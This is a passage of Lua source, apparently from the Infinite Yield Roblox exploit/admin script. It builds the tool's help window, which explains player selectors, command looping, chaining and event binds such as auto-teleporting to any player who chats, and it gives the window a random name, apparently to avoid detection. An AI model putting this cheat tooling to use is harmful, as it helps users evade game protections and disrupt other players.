{20,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={18},Position=UDim2.new(0,37,0,0),Size=UDim2.new(1,0,1,0),Text="- includes everyone except you",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{21,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,LayoutOrder=-2,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{22,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={21},Size=UDim2.new(1,0,1,0),Text="me",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{23,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={21},Position=UDim2.new(0,19,0,0),Size=UDim2.new(1,0,1,0),Text="- includes your player only",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{24,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{25,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={24},Size=UDim2.new(1,0,1,0),Text="#[number]",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{26,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={24},Position=UDim2.new(0,59,0,0),Size=UDim2.new(1,0,1,0),Text="- gets a specified amount of random players",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{27,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{28,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={27},Size=UDim2.new(1,0,1,0),Text="random",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{29,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={27},Position=UDim2.new(0,44,0,0),Size=UDim2.new(1,0,1,0),Text="- affects a random player",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{30,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{31,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={30},Size=UDim2.new(1,0,1,0),Text="%[team name]",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{32,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={30},Position=UDim2.new(0,78,0,0),Size=UDim2.new(1,0,1,0),Text="- includes everyone on a given team",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{33,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{34,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={33},Size=UDim2.new(1,0,1,0),Text="allies / team",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{35,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={33},Position=UDim2.new(0,63,0,0),Size=UDim2.new(1,0,1,0),Text="- players who are on your team",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{36,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{37,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={36},Size=UDim2.new(1,0,1,0),Text="enemies / nonteam",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{38,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={36},Position=UDim2.new(0,101,0,0),Size=UDim2.new(1,0,1,0),Text="- players who are not on your team",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{39,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{40,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={39},Size=UDim2.new(1,0,1,0),Text="friends",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{41,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={39},Position=UDim2.new(0,40,0,0),Size=UDim2.new(1,0,1,0),Text="- anyone who is friends with you",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{42,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{43,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={42},Size=UDim2.new(1,0,1,0),Text="nonfriends",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{44,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={42},Position=UDim2.new(0,61,0,0),Size=UDim2.new(1,0,1,0),Text="- anyone who is not friends with you",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{45,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{46,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={45},Size=UDim2.new(1,0,1,0),Text="guests",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{47,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={45},Position=UDim2.new(0,36,0,0),Size=UDim2.new(1,0,1,0),Text="- guest players (obsolete)",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{48,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{49,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={48},Size=UDim2.new(1,0,1,0),Text="bacons",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{50,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={48},Position=UDim2.new(0,40,0,0),Size=UDim2.new(1,0,1,0),Text="- anyone with the \"bacon\" or pal hair",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{51,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{52,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={51},Size=UDim2.new(1,0,1,0),Text="age[number]",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{53,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={51},Position=UDim2.new(0,71,0,0),Size=UDim2.new(1,0,1,0),Text="- includes anyone below or at the given age",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{54,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{55,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={54},Size=UDim2.new(1,0,1,0),Text="rad[number]",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{56,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={54},Position=UDim2.new(0,70,0,0),Size=UDim2.new(1,0,1,0),Text="- includes anyone within the given radius",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{57,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{58,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={57},Size=UDim2.new(1,0,1,0),Text="nearest",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{59,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={57},Position=UDim2.new(0,43,0,0),Size=UDim2.new(1,0,1,0),Text="- gets the closest player to you",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{60,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{61,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={60},Size=UDim2.new(1,0,1,0),Text="farthest",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{62,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={60},Position=UDim2.new(0,46,0,0),Size=UDim2.new(1,0,1,0),Text="- gets the farthest player from you",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{63,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{64,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={63},Size=UDim2.new(1,0,1,0),Text="group[ID]",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{65,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={63},Position=UDim2.new(0,55,0,0),Size=UDim2.new(1,0,1,0),Text="- gets players who are in a certain group",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{66,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{67,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={66},Size=UDim2.new(1,0,1,0),Text="alive",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{68,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={66},Position=UDim2.new(0,27,0,0),Size=UDim2.new(1,0,1,0),Text="- gets players who are alive",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{69,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{70,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={69},Size=UDim2.new(1,0,1,0),Text="dead",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{71,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={69},Position=UDim2.new(0,29,0,0),Size=UDim2.new(1,0,1,0),Text="- gets players who are dead",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{72,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,LayoutOrder=-1,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{73,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={72},Size=UDim2.new(1,0,1,0),Text="@username",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{74,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={72},Position=UDim2.new(0,66,0,0),Size=UDim2.new(1,0,1,0),Text="- searches for players by username only (ignores displaynames)",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{75,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,180),ZIndex=10,}},
{76,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={75},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Various Operators",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}},
{77,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={75},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}},
{78,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={75},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,16),Text="Use commas to separate multiple expressions:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}},
{79,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={75},Position=UDim2.new(0,8,0,75),Size=UDim2.new(1,-8,0,16),Text="Use - to exclude, and + to include players in your expression:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}},
{80,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={75},Position=UDim2.new(0,8,0,91),Size=UDim2.new(1,-8,0,16),Text=";locate %blue-friends (gets players in blue team who aren't your friends)",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}},
{81,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={75},Position=UDim2.new(0,8,0,46),Size=UDim2.new(1,-8,0,16),Text=";locate noob,noob2,bob",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}},
{82,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={75},Position=UDim2.new(0,8,0,120),Size=UDim2.new(1,-8,0,16),Text="Put ! before a command to run it with the last arguments it was ran with:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}},
{83,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={75},Position=UDim2.new(0,8,0,136),Size=UDim2.new(1,-8,0,32),Text="After running ;offset 0 100 0, you can run !offset anytime to repeat that command with the same arguments that were used to run it last time",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}},
{84,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,154),ZIndex=10,}},
{85,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={84},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Command Looping",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}},
{86,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={84},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,20),Text="Form: [How many times it loops]^[delay (optional)]^[command]",TextColor3=Color3.new(1,1,1),TextSize=15,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{87,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={84},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}},
{88,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={84},Position=UDim2.new(0,8,0,50),Size=UDim2.new(1,-8,0,20),Text="Use the 'breakloops' command to stop all running loops.",TextColor3=Color3.new(1,1,1),TextSize=15,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{89,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={84},Position=UDim2.new(0,8,0,80),Size=UDim2.new(1,-8,0,16),Text="Examples:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}},
{90,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={84},Position=UDim2.new(0,8,0,98),Size=UDim2.new(1,-8,0,42),Text=";5^btools - gives you 5 sets of btools\n;10^3^drophats - drops your hats every 3 seconds 10 times\n;inf^0.1^animspeed 100 - infinitely loops your animation speed to 100",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}},
{91,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,120),ZIndex=10,}},
{92,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={91},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Execute Multiple Commands at Once",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}},
{93,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={91},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,20),Text="You can execute multiple commands at once using \"\\\"",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{94,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={91},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}},
{95,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={91},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,-8,0,16),Text="Examples:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}},
{96,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={91},Position=UDim2.new(0,8,0,78),Size=UDim2.new(1,-8,0,32),Text=";drophats\\respawn - drops your hats and respawns you\n;enable inventory\\enable playerlist\\refresh - enables those coregui items and refreshes you",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}},
{97,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,75),ZIndex=10,}},
{98,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={97},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Browse Command History",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}},
{99,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={97},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,32),Text="While focused on the command bar, you can use the up and down arrow keys to browse recently used commands",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{100,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={97},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}},
{101,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,75),ZIndex=10,}},
{102,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={101},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Autocomplete in the Command Bar",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}},
{103,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={101},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,32),Text="While focused on the command bar, you can use the tab key to insert the top suggested command into the command bar.",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{104,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={101},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}},
{105,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,175),ZIndex=10,}},
{106,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={105},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Using Event Binds",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}},
{107,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={105},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,32),Text="Use event binds to set up commands that get executed when certain events happen. You can edit the conditions for an event command to run (such as which player triggers it).",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{108,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={105},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}},
{109,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={105},Position=UDim2.new(0,8,0,70),Size=UDim2.new(1,-8,0,48),Text="Some events may send arguments; you can use them in your event command by using $ followed by the argument number ($1, $2, etc). You can find out the order and types of these arguments by looking at the settings of the event command.",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{110,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={105},Position=UDim2.new(0,8,0,130),Size=UDim2.new(1,-8,0,16),Text="Example:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}},
{111,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={105},Position=UDim2.new(0,8,0,148),Size=UDim2.new(1,-8,0,16),Text="Setting up 'goto $1' on the OnChatted event will teleport you to any player that chats.",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}},
{112,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,105),ZIndex=10,}},
{113,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={112},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Get Further Help",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}},
{114,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={112},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,32),Text="You can join the Discord server to get support with IY, and read up on more documentation such as the Plugin API.",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{115,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={112},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),Visible=false,ZIndex=10,}},
{116,"TextButton",{BackgroundColor3=Color3.new(0.48627451062202,0.61960786581039,0.85098040103912),BorderColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),Font=4,Name="InviteButton",Parent={112},Position=UDim2.new(0,5,0,75),Size=UDim2.new(1,-10,0,25),Text="Copy Discord Invite Link (https://discord.gg/78ZuWSq)",TextColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),TextSize=16,ZIndex=10,}},
})
for i,v in pairs(main.Content.List:GetDescendants()) do
if v:IsA("TextLabel") then
table.insert(text1,v)
end
end
table.insert(scroll,main.Content.List)
table.insert(shade1,main.Content)
table.insert(shade2,main.TopBar)
main.Name = randomString()
main.TopBar.Close.MouseButton1Click:Connect(function()
main:TweenPosition(UDim2.new(0.5,-250,0,-500), "InOut", "Quart", 0.5, true, nil)
end)
local inviteButton = main:FindFirstChild("InviteButton",true)
local lastPress = nil
inviteButton.MouseButton1Click:Connect(function()
